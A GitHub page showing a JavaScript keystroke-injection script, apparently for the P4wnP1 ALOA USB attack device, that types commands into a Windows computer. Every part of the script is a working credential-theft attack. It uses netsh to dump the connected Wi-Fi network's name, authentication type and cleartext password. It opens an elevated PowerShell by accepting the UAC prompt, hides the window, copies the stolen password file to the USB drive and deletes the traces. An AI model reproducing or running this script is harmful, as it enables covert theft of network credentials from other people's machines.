-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwin-dump-wifi.js
57 lines (55 loc) · 2.03 KB
/
win-dump-wifi.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
layout("US"); //set US layout
typingSpeed(5,0);
press("GUI r")
delay(1000)
type("cmd")
delay(500)
press("ENTER")
delay(1000)
// --> Get SSID
type("for /f \"tokens=2 delims=: \" %A in (\'netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"B\"') do set SSID=%A")
press("ENTER")
// --> Get network type
type("netsh wlan show profiles %SSID% | findstr \"Network type\" | findstr /v \"broadcast\" | findstr /v \"Radio\">Temp.txt")
press("ENTER")
type("for /f \"tokens=3 delims=: \" %A in (\'findstr \"Network type\" Temp.txt\') do set NETTYPE=%A")
press("ENTER")
// --> Get authentication
type("netsh wlan show profiles %SSID% | findstr \"Authentication\">Temp.txt")
press("ENTER")
type("for /f \"tokens=2 delims=: \" %A in (\'findstr \"Authentication\" Temp.txt\') do set AUTH=%A")
press("ENTER")
// --> Get key
type("netsh wlan show profiles %SSID% key=clear | findstr \"Key Content\">Temp.txt")
press("ENTER")
type("for /f \"tokens=3 delims=: \" %A in (\'findstr \"Key Content\" Temp.txt\') do set KEY=%A")
press("ENTER")
// --> Delete Temp.txt
type("del Temp.txt")
press("ENTER")
// --> Create Log.txt
type("echo SSID: %SSID%>>wirelesspassword.txt & echo Network type: %NETTYPE%>>wirelesspassword.txt & echo Authentication: %AUTH%>>wirelesspassword.txt & echo Password: %KEY%>>wirelesspassword.txt")
press("ENTER")
delay(1000)
type("exit")
press("ENTER")
delay(500)
press("GUI r")
press("ENTER")
delay(1200)
type("powershell")
delay(1000)
press("CTRL SHIFT ENTER")
delay(1200)
press("LEFT")
delay(750)
press("ENTER")
delay(750)
type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)')
press("ENTER");
delay(500)
type("cd $home\n")
delay(500)
type("$usbpath = Get-WMIObject Win32_Volume | ? { $_.Label -eq \'P4wnP1 ALOA\' } | select name \n")
type("copy wirelesspassword.txt $usbpath.name\n")
type("del wirelesspassword.txt\n ; exit\n")